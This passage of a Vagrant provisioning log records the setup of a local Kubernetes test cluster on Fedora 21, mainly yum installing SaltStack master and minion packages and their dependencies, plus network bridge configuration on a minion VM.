hwdata-0.279-1.fc21.noarch                                  9/12 ==> master:   ==> master:   verifying  : systemd-216-12.fc21.x86_64                                 10/12 ==> master:   ==> master:   verifying  : libgudev1-216-12.fc21.x86_64                               11/12 ==> master:   ==> master:   verifying  : systemd-libs-216-12.fc21.x86_64                            12/12 ==> master:   ==> master:  ==> master: installed: ==> master:   salt-master.noarch 0:2015.5.2-3.fc21                                           ==> master:  ==> master: dependency installed: ==> master:   hwdata.noarch 0:0.279-1.fc21              pciutils.x86_64 0:3.3.0-1.fc21       ==> master:   pciutils-libs.x86_64 0:3.3.0-1.fc21       salt.noarch 0:2015.5.2-3.fc21        ==> master:   systemd-python.x86_64 0:216-25.fc21       ==> master:  ==> master: dependency updated: ==> master:   libgudev1.x86_64 0:216-25.fc21            systemd.x86_64 0:216-25.fc21         ==> master:   systemd-libs.x86_64 0:216-25.fc21         ==> master: complete! ==> master:     info: running install_fedora_stable_post   ==> master: disabled ==> master: created symlink from /etc/systemd/system/multi-user.target.wants/salt-master.service to /usr/lib/systemd/system/salt-master.service. ==> master:     info: running install_fedora_check_services   ==> master:     info: running install_fedora_restart_daemons   ==> master:     info: running daemons_running   ==> master:     info: salt installed! ==> master: resolving dependencies ==> master: --> running transaction check ==> master: ---> package python-cherrypy.noarch 0:3.2.2-6.fc21 will be installed ==> master: --> finished dependency resolution ==> master:  ==> master: dependencies resolved ==> master:  ==> master: ================================================================================ ==> master:  package                arch          version               repository     size ==> master: ================================================================================ ==> master: installing: ==> master:  python-cherrypy        noarch        3.2.2-6.fc21          fedora        423 k ==> master:  ==> master: transaction summary ==> master: ================================================================================ ==> master: install  1 package ==> master: total download size: 423 k ==> master: installed size: 1.4 m ==> master: downloading packages: ==> master: running transaction check ==> master: running transaction test ==> master: transaction test succeeded ==> master: running transaction  shutdown inhibited  ==> master:   installing : python-cherrypy-3.2.2-6.fc21.noarch                          1/1 ==> master:   ==> master:   verifying  : python-cherrypy-3.2.2-6.fc21.noarch                          1/1 ==> master:   ==> master:  ==> master: installed: ==> master:   python-cherrypy.noarch 0:3.2.2-6.fc21                                          ==> master: complete! ==> master: resolving dependencies ==> master: --> running transaction check ==> master: ---> package salt-api.noarch 0:2015.5.2-3.fc21 will be installed ==> master: --> finished dependency resolution ==> master:  ==> master: dependencies resolved ==> master:  ==> master: ================================================================================ ==> master:  package        arch         version                 repository            size ==> master: ================================================================================ ==> master: installing: ==> master:  salt-api       noarch       2015.5.2-3.fc21         saltstack-salt        16 k ==> master:  ==> master: transaction summary ==> master: ================================================================================ ==> master: install  1 package ==> master: total download size: 16 k ==> master: installed size: 1.3 k ==> master: downloading packages: ==> master: running transaction check ==> master: running transaction test ==> master: transaction test succeeded ==> master: running transaction  shutdown inhibited  ==> master:   installing : salt-api-2015.5.2-3.fc21.noarch                              1/1 ==> master:   ==> master:   verifying  : salt-api-2015.5.2-3.fc21.noarch                              1/1 ==> master:   ==> master:  ==> master: installed: ==> master:   salt-api.noarch 0:2015.5.2-3.fc21                                              ==> master: complete! ==> master:     info:  sh -- version 2015.07.22 ==> master:  ==> master:     info: system information: ==> master:     info:   cpu:          genuineintel ==> master:     info:   cpu arch:     x86_64 ==> master:     info:   os name:      linux ==> master:     info:   os version:   3.17.4-301.fc21.x86_64 ==> master:     info:   distribution: fedora 21 ==> master:     info: installing minion ==> master:     info: found function install_fedora_deps ==> master:     info: found function install_fedora_stable ==> master:     info: found function install_fedora_stable_post ==> master:     info: found function install_fedora_restart_daemons ==> master:     info: found function daemons_running ==> master:     info: found function install_fedora_check_services ==> master:     info: running install_fedora_deps   ==> master:     info: adding saltstack's copr repository ==> master: package yum-utils-1.1.31-27.fc21.noarch already installed and latest version ==> master: package pyyaml-3.11-7.fc21.x86_64 already installed and latest version ==> master: package libyaml-0.1.6-6.fc21.x86_64 already installed and latest version ==> master: package m2crypto-0.21.1-18.fc21.x86_64 already installed and latest version ==> master: package python-crypto-2.6.1-6.fc21.x86_64 already installed and latest version ==> master: package python-jinja2-2.7.3-2.fc21.noarch already installed and latest version ==> master: package python-msgpack-0.4.6-1.fc21.x86_64 already installed and latest version ==> master: package python-zmq-14.3.1-1.fc21.x86_64 already installed and latest version ==> master: package python-requests-2.7.0-1.fc21.noarch already installed and latest version ==> master: nothing to do ==> master:     info: running install_fedora_stable   ==> master: resolving dependencies ==> master: --> running transaction check ==> master: ---> package salt-minion.noarch 0:2015.5.2-3.fc21 will be installed ==> master: --> finished dependency resolution ==> master:  ==> master: dependencies resolved ==> master:  ==> master: ================================================================================ ==> master:  package          arch        version                 repository           size ==> master: ================================================================================ ==> master: installing: ==> master:  salt-minion      noarch      2015.5.2-3.fc21         saltstack-salt       28 k ==> master:  ==> master: transaction summary ==> master: ================================================================================ ==> master: install  1 package ==> master: total download size: 28 k ==> master: installed size: 28 k ==> master: downloading packages: ==> master: running transaction check ==> master: running transaction test ==> master: transaction test succeeded ==> master: running transaction  shutdown inhibited  ==> master:   installing : salt-minion-2015.5.2-3.fc21.noarch                           1/1 ==> master:   ==> master:   verifying  : salt-minion-2015.5.2-3.fc21.noarch                           1/1 ==> master:   ==> master:  ==> master: installed: ==> master:   salt-minion.noarch 0:2015.5.2-3.fc21                                           ==> master: complete! ==> master:     info: running install_fedora_stable_post   ==> master: disabled ==> master: created symlink from /etc/systemd/system/multi-user.target.wants/salt-minion.service to /usr/lib/systemd/system/salt-minion.service. ==> master:     info: running install_fedora_check_services   ==> master:     info: running install_fedora_restart_daemons   ==> master:     info: running daemons_running   ==> master:     info: salt installed! ==> minion-1: importing base box 'kube-fedora21'...  \u001b kprogress: 20% \u001b kprogress: 30% \u001b kprogress: 40% \u001b kprogress: 60% \u001b kprogress: 90% \u001b k==> minion-1: matching mac address for nat networking... ==> minion-1: setting the name of the vm: kubernetes_minion-1_1437760037684_20138 ==> minion-1: fixed port collision for 22 => 2222. now on port 2200. ==> minion-1: clearing any previously set network interfaces... ==> minion-1: preparing network interfaces based on configuration...     minion-1: adapter 1: nat     minion-1: adapter 2: hostonly ==> minion-1: forwarding ports...     minion-1: 22 => 2200  adapter 1  ==> minion-1: running 'pre-boot' vm customizations... ==> minion-1: booting vm... ==> minion-1: waiting for machine to boot. this may take a few minutes...     minion-1: ssh address: 127.0.0.1:2200     minion-1: ssh username: vagrant     minion-1: ssh auth method: private key     minion-1: warning: connection timeout. retrying...     minion-1:      minion-1: vagrant insecure key detected. vagrant will automatically replace     minion-1: this with a newly generated keypair for better security.     minion-1:      minion-1: inserting generated public key within guest...     minion-1: removing insecure key from the guest if it's present...     minion-1: key inserted! disconnecting and reconnecting using new ssh key... ==> minion-1: machine booted and ready! ==> minion-1: checking for guest additions in vm... ==> minion-1: configuring and enabling network interfaces... ==> minion-1: mounting shared folders...     minion-1: /vagrant => /users/petr/research/kubernetes/kubernetes ==> minion-1: running provisioner: shell...     minion-1: running: /var/folders/v8/hpd446l168587p0jrtwmnnxw0000gn/t/vagrant-shell20150724-75616-cfkj12.sh ==> minion-1: adding kubernetes-master to hosts file ==> minion-1: verifying network configuration ==> minion-1: it looks like the required network bridge has not yet been created ==> minion-1: installing, enabling prerequisites ==> minion-1: resolving dependencies ==> minion-1: --> running transaction check ==> minion-1: ---> package bridge-utils.x86_64 0:1.5-10.fc21 will be installed ==> minion-1: ---> package openvswitch.x86_64 0:2.3.2-1.fc21 will be installed ==> minion-1: --> finished dependency resolution ==> minion-1:  ==> minion-1: dependencies resolved ==> minion-1:  ==> minion-1: ================================================================================ ==> minion-1:  package              arch           version              repository       size ==> minion-1: ================================================================================ ==> minion-1: installing: ==> minion-1:  bridge-utils         x86_64         1.5-10.fc21          fedora           36 k ==> minion-1:  openvswitch          x86_64         2.3.2-1.fc21         updates         1.8 m ==> minion-1:  ==> minion-1: transaction summary ==> minion-1: ================================================================================ ==> minion-1: install  2 packages ==> minion-1: total download size: 1.9 m ==> minion-1: installed size: 7.7 m ==> minion-1: downloading packages: ==> minion-1: warning: /var/cache/yum/x86_64/21/fedora/packages/bridge-utils-1.5-10.fc21.x86_64.rpm: header v3 rsa/sha256 signature, key id 95a43f54: nokey ==> minion-1: public key for bridge-utils-1.5-10.fc21.x86_64.rpm is not installed ==> minion-1: public key for openvswitch-2.3.2-1.fc21.x86_64.rpm is not installed ==> minion-1: -------------------------------------------------------------------------------- ==> minion-1: total                                              2.5 mb/s | 1.9 mb  00:00      ==> minion-1: retrieving key from file:///etc/pki/rpm-gpg/rpm-gpg-key-fedora-21-x86_64 ==> minion-1: importing gpg key 0x95a43f54: ==> minion-1:  userid     : \ fedora  21  <fedora@fedoraproject.org>\  ==> minion-1:  fingerprint: 6596 b8fb abda 5227 a9c5 b59e 89ad 4e87 95a4 3f54 ==> minion-1:  package    : fedora-repos-21-2.noarch  @anaconda  ==> minion-1:  from       : /etc/pki/rpm-gpg/rpm-gpg-key-fedora-21-x86_64 ==> minion-1: running transaction check ==> minion-1: running transaction test ==> minion-1: transaction test succeeded ==> minion-1: running transaction  shutdown inhibited  ==> minion-1:   installing : openvswitch-2.3.2-1.fc21.x86_64                              1/2 ==> minion-1:   ==> minion-1:   installing : bridge-utils-1.5-10.fc21.x86_64                              2/2 ==> minion-1:   ==> minion-1:   verifying  : bridge-utils-1.5-10.fc21.x86_64                              1/2 ==> minion-1:   ==> minion-1:   verifying  : openvswitch-2.3.2-1.fc21.x86_64                              2/2 ==> minion-1:   ==> minion-1:  ==> minion-1: installed: ==> minion-1:   bridge-utils.x86_64 0:1.5-10.fc21      openvswitch.x86_64 0:2.3.2-1.fc21      ==> minion-1: complete! ==> minion-1: created symlink from /etc/systemd/system/multi-user.target.wants/openvswitch.service to /usr/lib/systemd/system/openvswitch.service. ==> minion-1: create a new docker bridge ==> minion-1: cannot find device \ cbr0\  ==> minion-1: bridge cbr0 doesn't exist; can't delete it ==> minion-1: add ovs bridge ==> minion-1: ovs-vsctl:  ==> minion-1: no bridge named obr0 ==> minion-1: ovs-vsctl: no port named gre0 ==> minion-1: add tun device ==> minion-1: ovs-vsctl: no port named tun0 ==> minion-1: add oflow rules ==> minion-1: creating persistent gre tunnels ==> minion-1: created persistent gre tunnels ==> minion-1: add ip route rules such that all pod traffic flows through docker bridge ==> minion-1: network configuration verified ==> minion-1:     info:  sh -- version 2015.07.22 ==> minion-1:  ==> minion-1:     info: system information: ==> minion-1:     info:   cpu:          genuineintel ==> minion-1:     info:   cpu arch:     x86_64 ==> minion-1:     info:   os name:      linux ==> minion-1:     info:   os version:   3.17.4-301.fc21.x86_64 ==> minion-1:     info:   distribution: fedora 21 ==> minion-1:     info: installing minion ==> minion-1:     info: found function install_fedora_deps ==> minion-1:     info: found function install_fedora_stable ==> minion-1:     info: found function install_fedora_stable_post ==> minion-1:     info: found function install_fedora_restart_daemons ==> minion-1:     info: found function daemons_running ==> minion-1:     info: found function install_fedora_check_services ==> minion-1:     info: running install_fedora_deps   ==> minion-1:     info: adding saltstack's copr repository ==> minion-1: resolving dependencies ==> minion-1: --> running transaction check ==> minion-1: ---> package pyyaml.x86_64 0:3.11-7.fc21 will be installed ==> minion-1: ---> package libyaml.x86_64 0:0.1.6-6.fc21 will be installed ==> minion-1: ---> package m2crypto.x86_64 0:0.21.1-18.fc21 will be installed ==> minion-1: ---> package python-crypto.x86_64 0:2.6.1-6.fc21 will be installed ==> minion-1: --> processing dependency: libtomcrypt.so.0   64bit  for package: python-crypto-2.6.1-6.fc21.x86_64 ==> minion-1: ---> package python-jinja2.noarch 0:2.7.3-2.fc21 will be installed ==> minion-1: --> processing dependency: python-babel >= 0.8 for package: python-jinja2-2.7.3-2.fc21.noarch ==> minion-1: --> processing dependency: python-setuptools for package: python-jinja2-2.7.3-2.fc21.noarch ==> minion-1: --> processing dependency: python-markupsafe for package: python-jinja2-2.7.3-2.fc21.noarch ==> minion-1: ---> package python-msgpack.x86_64 0:0.4.6-1.fc21 will be installed ==> minion-1: ---> package python-requests.noarch 0:2.7.0-1.fc21 will be installed ==> minion-1: --> processing dependency: python-urllib3 >= 1.10 for package: python-requests-2.7.0-1.fc21.noarch ==> minion-1: --> processing dependency: python-chardet for package: python-requests-2.7.0-1.fc21.noarch ==> minion-1: ---> package python-zmq.x86_64 0:14.3.1-1.fc21 will be installed ==> minion-1: --> processing dependency: libzmq.so.3   64bit  for package: python-zmq-14.3.1-1.fc21.x86_64 ==> minion-1: ---> package yum-utils.noarch 0:1.1.31-27.fc21 will be installed ==> minion-1: --> processing dependency: python-kitchen for package: yum-utils-1.1.31-27.fc21.noarch ==> minion-1: --> running transaction check ==> minion-1: ---> package libtomcrypt.x86_64 0:1.17-24.fc21 will be installed ==> minion-1: --> processing dependency: libtommath >= 0.42.0 for package: libtomcrypt-1.17-24.fc21.x86_64 ==> minion-1: --> processing dependency: libtommath.so.0   64bit  for package: libtomcrypt-1.17-24.fc21.x86_64 ==> minion-1: ---> package python-babel.noarch 0:1.3-7.fc21 will be installed ==> minion-1: --> processing dependency: pytz for package: python-babel-1.3-7.fc21.noarch ==> minion-1: ---> package python-chardet.noarch 0:2.2.1-2.fc21 will be installed ==> minion-1: ---> package python-kitchen.noarch 0:1.2.1-2.fc21 will be installed ==> minion-1: ---> package python-markupsafe.x86_64 0:0.23-6.fc21 will be installed ==> minion-1: ---> package python-setuptools.noarch 0:2.0-8.fc21 will be installed ==> minion-1: --> processing dependency: python-backports-ssl_match_hostname for package: python-setuptools-2.0-8.fc21.noarch ==> minion-1: ---> package python-urllib3.noarch 0:1.10.4-3.20150503gita91975b.fc21 will be installed ==> minion-1: --> processing dependency: python-pyasn1 for package: python-urllib3-1.10.4-3.20150503gita91975b.fc21.noarch ==> minion-1: --> processing dependency: python-ndg_httpsclient for package: python-urllib3-1.10.4-3.20150503gita91975b.fc21.noarch ==> minion-1: --> processing dependency: pyopenssl for package: python-urllib3-1.10.4-3.20150503gita91975b.fc21.noarch ==> minion-1: ---> package zeromq3.x86_64 0:3.2.5-1.fc21 will be installed ==> minion-1: --> processing dependency: libpgm-5.2.so.0   64bit  for package: zeromq3-3.2.5-1.fc21.x86_64 ==> minion-1: --> running transaction check ==> minion-1: ---> package libtommath.x86_64 0:0.42.0-5.fc21 will be installed ==> minion-1: ---> package openpgm.x86_64 0:5.2.122-4.fc21 will be installed ==> minion-1: ---> package pyopenssl.x86_64 0:0.13.1-4.fc21 will be installed ==> minion-1: ---> package python-backports-ssl_match_hostname.noarch 0:3.4.0.2-4.fc21 will be installed ==> minion-1: --> processing dependency: python-backports for package: python-backports-ssl_match_hostname-3.4.0.2-4.fc21.noarch ==> minion-1: ---> package python-ndg_httpsclient.noarch 0:0.3.2-1.fc21 will be installed ==> minion-1: ---> package python-pyasn1.noarch 0:0.1.7-4.fc21 will be installed ==> minion-1: ---> package pytz.noarch 0:2012d-7.fc21 will be installed ==> minion-1: --> running transaction check ==> minion-1: ---> package python-backports.x86_64 0:1.0-5.fc21 will be installed ==> minion-1: --> finished dependency resolution ==> minion-1:  ==> minion-1: dependencies resolved ==> minion-1:  ==> minion-1: ================================================================================ ==> minion-1:  package                  arch   version                          repository ==> minion-1:                                                                            size ==> minion-1: ================================================================================ ==> minion-1: installing: ==> minion-1:  pyyaml                   x86_64 3.11-7.fc21                      updates 172 k ==> minion-1:  libyaml                  x86_64 0.1.6-6.fc21                     updates  58 k ==> minion-1:  m2crypto                 x86_64 0.21.1-18.fc21                   fedora  431 k ==> minion-1:  python-crypto            x86_64 2.6.1-6.fc21                     fedora  467 k ==> minion-1:  python-jinja2            noarch 2.7.3-2.fc21                     updates 531 k ==> minion-1:  python-msgpack           x86_64 0.4.6-1.fc21                     updates  81 k ==> minion-1:  python-requests          noarch 2.7.0-1.fc21                     updates  99 k ==> minion-1:  python-zmq               x86_64 14.3.1-1.fc21                    fedora  480 k ==> minion-1:  yum-utils                noarch 1.1.31-27.fc21                   updates 118 k ==> minion-1: installing for dependencies: ==> minion-1:  libtomcrypt              x86_64 1.17-24.fc21                     fedora  227 k ==> minion-1:  libtommath               x86_64 0.42.0-5.fc21                    fedora   39 k ==> minion-1:  openpgm                  x86_64 5.2.122-4.fc21                   fedora  176 k ==> minion-1:  pyopenssl                x86_64 0.13.1-4.fc21                    fedora  137 k ==> minion-1:  python-babel             noarch 1.3-7.fc21                       updates 2.5 m ==> minion-1:  python-backports         x86_64 1.0-5.fc21                       fedora  9.7 k ==> minion-1:  python-backports-ssl_match_hostname ==> minion-1:                           noarch 3.4.0.2-4.fc21                   fedora   17 k ==> minion-1:  python-chardet           noarch 2.2.1-2.fc21                     fedora  231 k ==> minion-1:  python-kitchen           noarch 1.2.1-2.fc21                     updates 120 k ==> minion-1:  python-markupsafe        x86_64 0.23-6.fc21                      fedora   35 k ==> minion-1:  python-ndg_httpsclient   noarch 0.3.2-1.fc21                     fedora   47 k ==> minion-1:  python-pyasn1            noarch 0.1.7-4.fc21                     fedora   92 k ==> minion-1:  python-setuptools        noarch 2.0-8.fc21                       fedora  393 k ==> minion-1:  python-urllib3           noarch 1.10.4-3.20150503gita91975b.fc21 updates 109 k ==> minion-1:  pytz                     noarch 2012d-7.fc21                     fedora   39 k ==> minion-1:  zeromq3                  x86_64 3.2.5-1.fc21                     updates 349 k ==> minion-1:  ==> minion-1: transaction summary ==> minion-1: ================================================================================ ==> minion-1: install  9 packages  +16 dependent packages  ==> minion-1: total download size: 6.8 m ==> minion-1: installed size: 26 m ==> minion-1: downloading packages: ==> minion-1: -------------------------------------------------------------------------------- ==> minion-1: total                                              956 kb/s | 6.8 mb  00:07      ==> minion-1: running transaction check ==> minion-1: running transaction test ==> minion-1: transaction test succeeded ==> minion-1: running transaction  shutdown inhibited  ==> minion-1:   installing : python-chardet-2.2.1-2.fc21.noarch                          1/25 ==> minion-1:   ==> minion-1:   installing : python-pyasn1-0.1.7-4.fc21.noarch                           2/25 ==> minion-1:   ==> minion-1:   installing : pyopenssl-0.13.1-4.fc21.x86_64                              3/25 ==> minion-1:   ==> minion-1:   installing : python-kitchen-1.2.1-2.fc21.noarch                          4/25 ==> minion-1:   ==> minion-1:   installing : libtommath-0.42.0-5.fc21.x86_64                             5/25 ==> minion-1:   ==> minion-1:   installing : libtomcrypt-1.17-24.fc21.x86_64                             6/25 ==> minion-1:   ==> minion-1:   installing : python-backports-1.0-5.fc21.x86_64                          7/25 ==> minion-1:   ==> minion-1:   installing : python-backports-ssl_match_hostname-3.4.0.2-4.fc21.noarc    8/25 ==> minion-1:   ==> minion-1:   installing : python-setuptools-2.0-8.fc21.noarch                         9/25 ==> minion-1:   ==> minion-1:   installing : python-ndg_httpsclient-0.3.2-1.fc21.noarch                 10/25 ==> minion-1:   ==> minion-1:   installing : python-urllib3-1.10.4-3.20150503gita91975b.fc21.noarch     11/25 ==> minion-1:   ==> minion-1:   installing : pytz-2012d-7.fc21.noarch                                   12/25 ==> minion-1:   ==> minion-1:   installing : python-babel-1.3-7.fc21.noarch                             13/25 ==> minion-1:   ==> minion-1:   installing : openpgm-5.2.122-4.fc21.x86_64                              14/25 ==> minion-1:   ==> minion-1:   installing : zeromq3-3.2.5-1.fc21.x86_64                                15/25 ==> minion-1:   ==> minion-1:   installing : libyaml-0.1.6-6.fc21.x86_64                                16/25 ==> minion-1:   ==> minion-1:   installing : python-markupsafe-0.23-6.fc21.x86_64                       17/25 ==> minion-1:   ==> minion-1:   installing : python-jinja2-2.7.3-2.fc21.noarch                          18/25 ==> minion-1:   ==> minion-1:   installing : pyyaml-3.11-7.fc21.x86_64                                  19/25 ==> minion-1:   ==> minion-1:   installing : python-zmq-14.3.1-1.fc21.x86_64                            20/25 ==> minion-1:   ==> minion-1:   installing : python-requests-2.7.0-1.fc21.noarch                        21/25 ==> minion-1:   ==> minion-1:   installing : python-crypto-2.6.1-6.fc21.x86_64                          22/25 ==> minion-1:   ==> minion-1:   installing : yum-utils-1.1.31-27.fc21.noarch                            23/25 ==> minion-1:   ==> minion-1:   installing : python-msgpack-0.4.6-1.fc21.x86_64                         24/25 ==> minion-1:   ==> minion-1:   installing : m2crypto-0.21.1-18.fc21.x86_64                             25/25 ==> minion-1:   ==> minion-1:   verifying  : python-urllib3-1.10.4-3.20150503gita91975b.fc21.noarch      1/25 ==> minion-1:   ==> minion-1:   verifying  : python-markupsafe-0.23-6.fc21.x86_64                        2/25 ==> minion-1:   ==> minion-1:   verifying  : python-crypto-2.6.1-6.fc21.x86_64                           3/25 ==> minion-1:   ==> minion-1:   verifying  : python-jinja2-2.7.3-2.fc21.noarch                           4/25 ==> minion-1:   ==> minion-1:   verifying  : pyopenssl-0.13.1-4.fc21.x86_64                              5/25 ==> minion-1:   ==> minion-1:   verifying  : pyyaml-3.11-7.fc21.x86_64                                   6/25 ==> minion-1:   ==> minion-1:   verifying  : m2crypto-0.21.1-18.fc21.x86_64                              7/25 ==> minion-1:   ==> minion-1:   verifying  : python-kitchen-1.2.1-2.fc21.noarch                          8/25 ==> minion-1:   ==> minion-1:   verifying  : libyaml-0.1.6-6.fc21.x86_64                                 9/25 ==> minion-1:   ==> minion-1:   verifying  : openpgm-5.2.122-4.fc21.x86_64                              10/25 ==> minion-1:   ==> minion-1:   verifying  : python-requests-2.7.0-1.fc21.noarch                        11/25 ==> minion-1:   ==> minion-1:   verifying  : python-zmq-14.3.1-1.fc21.x86_64                            12/25 ==> minion-1:   ==> minion-1:   verifying  : python-babel-1.3-7.fc21.noarch                             13/25 ==> minion-1:   ==> minion-1:   verifying  : zeromq3-3.2.5-1.fc21.x86_64                                14/25 ==> minion-1:   ==> minion-1:   verifying  : libtomcrypt-1.17-24.fc21.x86_64                            15/25 ==> minion-1:   ==> minion-1:   verifying  : python-pyasn1-0.1.7-4.fc21.noarch                          16/25 ==> minion-1:   ==> minion-1:   verifying  : yum-utils-1.1.31-27.fc21.noarch                            17/25 ==> minion-1:   ==> minion-1:   verifying  : pytz-2012d-7.fc21.noarch                                   18/25 ==> minion-1:   ==> minion-1:   verifying  : python-setuptools-2.0-8.fc21.noarch                        19/25 ==> minion-1:   ==> minion-1:   verifying  : python-backports-1.0-5.fc21.x86_64                         20/25 ==> minion-1:   ==> minion-1:   verifying  : python-msgpack-0.4.6-1.fc21.x86_64                         21/25 ==> minion-1:   ==> minion-1:   verifying  : python-backports-ssl_match_hostname-3.4.0.2-4.fc21.noarc   22/25 ==> minion-1:   ==> minion-1:   verifying  : python-ndg_httpsclient-0.3.2-1.fc21.noarch                 23/25 ==> minion-1:   ==> minion-1:   verifying  : libtommath-0.42.0-5.fc21.x86_64                            24/25 ==> minion-1:   ==> minion-1:   verifying  : python-chardet-2.2.1-2.fc21.noarch                         25/25 ==> minion-1:   ==> minion-1:  ==> minion-1: installed: ==> minion-1:   pyyaml.x86_64 0:3.11-7.fc21             libyaml.x86_64 0:0.1.6-6.fc21          ==> minion-1:   m2crypto.x86_64 0:0.21.1-18.fc21        python-crypto.x86_64 0:2.6.1-6.fc21    ==> minion-1:   python-jinja2.noarch 0:2.7.3-2.fc21     python-msgpack.x86_64 0:0.4.6-1.fc21   ==> minion-1:   python-requests.noarch 0:2.7.0-1.fc21   python-zmq.x86_64 0:14.3.1-1.fc21      ==> minion-1:   yum-utils.noarch 0:1.1.31-27.fc21       ==> minion-1:  ==> minion-1: dependency installed: ==> minion-1:   libtomcrypt.x86_64 0:1.17-24.fc21                                              ==> minion-1:   libtommath.x86_64 0:0.42.0-5.fc21                                              ==> minion-1:   openpgm.x86_64 0:5.2.122-4.fc21                                                ==> minion-1:   pyopenssl.x86_64 0:0.13.1-4.fc21                                               ==> minion-1:   python-babel.noarch 0:1.3-7.fc21                                               ==> minion-1:   python-backports.x86_64 0:1.0-5.fc21                                           ==> minion-1:   python-backports-ssl_match_hostname.noarch 0:3.4.0.2-4.fc21                    ==> minion-1:   python-chardet.noarch 0:2.2.1-2.fc21                                           ==> minion-1:   python-kitchen.noarch 0:1.2.1-2.fc21                                           ==> minion-1:   python-markupsafe.x86_64 0:0.23-6.fc21                                         ==> minion-1:   python-ndg_httpsclient.noarch 0:0.3.2-1.fc21                                   ==> minion-1:   python-pyasn1.noarch 0:0.1.7-4.fc21                                            ==> minion-1:   python-setuptools.noarch 0:2.0-8.fc21                                          ==> minion-1:   python-urllib3.noarch 0:1.10.4-3.20150503gita91975b.fc21                       ==> minion-1:   pytz.noarch 0:2012d-7.fc21                                                     ==> minion-1:   zeromq3.x86_64 0:3.2.5-1.fc21                                                  ==> minion-1: complete! ==> minion-1:     info: running install_fedora_stable   ==> minion-1: resolving dependencies ==> minion-1: --> running transaction check ==> minion-1: ---> package salt-minion.noarch 0:2015.5.2-3.fc21 will be installed ==> minion-1: --> processing dependency: salt = 2015.5.2-3.fc21 for package: salt-minion-2015.5.2-3.fc21.noarch ==> minion-1: --> running transaction check ==> minion-1: ---> package salt.noarch 0:2015.5.2-3.fc21 will be installed ==> minion-1: --> processing dependency: pciutils for package: salt-2015.5.2-3.fc21.noarch ==> minion-1: --> processing dependency: systemd-python for package: salt-2015.5.2-3.fc21.noarch ==> minion-1: --> running transaction check ==> minion-1: ---> package pciutils.x86_64 0:3.3.0-1.fc21 will be installed ==> minion-1: --> processing dependency: pciutils-libs = 3.3.0-1.fc21 for package: pciutils-3.3.0-1.fc21.x86_64 ==> minion-1: --> processing dependency: libpci.so.3 libpci_3.3  64bit  for package: pciutils-3.3.0-1.fc21.x86_64 ==> minion-1: --> processing dependency: libpci.so.3 libpci_3.1  64bit  for package: pciutils-3.3.0-1.fc21.x86_64 ==> minion-1: --> processing dependency: libpci.so.3 libpci_3.0  64bit  for package: pciutils-3.3.0-1.fc21.x86_64 ==> minion-1: --> processing dependency: hwdata for package: pciutils-3.3.0-1.fc21.x86_64 ==> minion-1: --> processing dependency: libpci.so.3   64bit  for package: pciutils-3.3.0-1.fc21.x86_64 ==> minion-1: ---> package systemd-python.x86_64 0:216-25.fc21 will be installed ==> minion-1: --> processing dependency: systemd = 216-25.fc21 for package: systemd-python-216-25.fc21.x86_64 ==> minion-1: --> running transaction check ==> minion-1: ---> package hwdata.noarch 0:0.279-1.fc21 will be installed ==> minion-1: ---> package pciutils-libs.x86_64 0:3.3.0-1.fc21 will be installed ==> minion-1: ---> package systemd.x86_64 0:216-12.fc21 will be updated ==> minion-1: --> processing dependency: systemd = 216-12.fc21 for package: libgudev1-216-12.fc21.x86_64 ==> minion-1: ---> package systemd.x86_64 0:216-25.fc21 will be an update ==> minion-1: --> processing dependency: systemd-libs = 216-25.fc21 for package: systemd-216-25.fc21.x86_64 ==> minion-1: --> running transaction check ==> minion-1: ---> package libgudev1.x86_64 0:216-12.fc21 will be updated ==> minion-1: ---> package libgudev1.x86_64 0:216-25.fc21 will be an update ==> minion-1: ---> package systemd-libs.x86_64 0:216-12.fc21 will be updated ==> minion-1: ---> package systemd-libs.x86_64 0:216-25.fc21 will be an update ==> minion-1: --> finished dependency resolution ==> minion-1:  ==> minion-1: dependencies resolved ==> minion-1:  ==> minion-1: ================================================================================ ==> minion-1:  package             arch        version              repository           size ==> minion-1: ================================================================================ ==> minion-1: installing: ==> minion-1:  salt-minion         noarch      2015.5.2-3.fc21      saltstack-salt       28 k ==> minion-1: installing for dependencies: ==> minion-1:  hwdata              noarch      0.279-1.fc21         updates             1.4 m ==> minion-1:  pciutils            x86_64      3.3.0-1.fc21         fedora               96 k ==> minion-1:  pciutils-libs       x86_64      3.3.0-1.fc21         fedora               50 k ==> minion-1:  salt                noarch      2015.5.2-3.fc21      saltstack-salt      3.9 m ==> minion-1:  systemd-python      x86_64      216-25.fc21          updates              95 k ==> minion-1: updating for dependencies: ==> minion-1:  libgudev1           x86_64      216-25.fc21          updates              62 k ==> minion-1:  systemd             x86_64      216-25.fc21          updates             5.1 m ==> minion-1:  systemd-libs        x86_64      216-25.fc21          updates             323 k ==> minion-1:  ==> minion-1: transaction summary ==> minion-1: ================================================================================ ==> minion-1: install  1 package   +5 dependent packages  ==> minion-1: upgrade               3 dependent packages  ==> minion-1: total download size: 11 m ==> minion-1: downloading packages: ==> minion-1: delta rpms disabled because /usr/bin/applydeltarpm not installed. ==> minion-1: warning: /var/cache/yum/x86_64/21/saltstack-salt/packages/salt-minion-2015.5.2-3.fc21.noarch.rpm: header v3 rsa/sha1 signature, key id 1d3e8f00: nokey ==> minion-1: public key for salt-minion-2015.5.2-3.fc21.noarch.rpm is not installed ==> minion-1: -------------------------------------------------------------------------------- ==> minion-1: total                                              1.9 mb/s |  11 mb  00:05      ==> minion-1: retrieving key from https://copr-be.cloud.fedoraproject.org/results/saltstack/salt/pubkey.gpg ==> minion-1: importing gpg key 0x1d3e8f00: ==> minion-1:  userid     : \ saltstack_salt  none  <saltstack salt@copr.fedorahosted.org>\  ==> minion-1:  fingerprint: 2e39 01d9 1f65 f08a 6ee3 ff7c f868 1181 1d3e 8f00 ==> minion-1:  from       : https://copr-be.cloud.fedoraproject.org/results/saltstack/salt/pubkey.gpg ==> minion-1: running transaction check ==> minion-1: running transaction test ==> minion-1: transaction test succeeded ==> minion-1: running transaction  shutdown inhibited  ==> minion-1:   updating   : systemd-libs-216-25.fc21.x86_64                             1/12 ==> minion-1:   ==> minion-1:   updating   : systemd-216-25.fc21.x86_64                                  2/12 ==> minion-1:   ==> minion-1:   installing : systemd-python-216-25.fc21.x86_64                           3/12 ==> minion-1:   ==> minion-1:   installing : hwdata-0.279-1.fc21.noarch                                  4/12 ==> minion-1:   ==> minion-1:   installing : pciutils-libs-3.3.0-1.fc21.x86_64                           5/12 ==> minion-1:   ==> minion-1:   installing : pciutils-3.3.0-1.fc21.x86_64                                6/12 ==> minion-1:   ==> minion-1:   installing : salt-2015.5.2-3.fc21.noarch                                 7/12 ==> minion-1:   ==> minion-1:   installing : salt-minion-2015.5.2-3.fc21.noarch                          8/12 ==> minion-1:   ==> 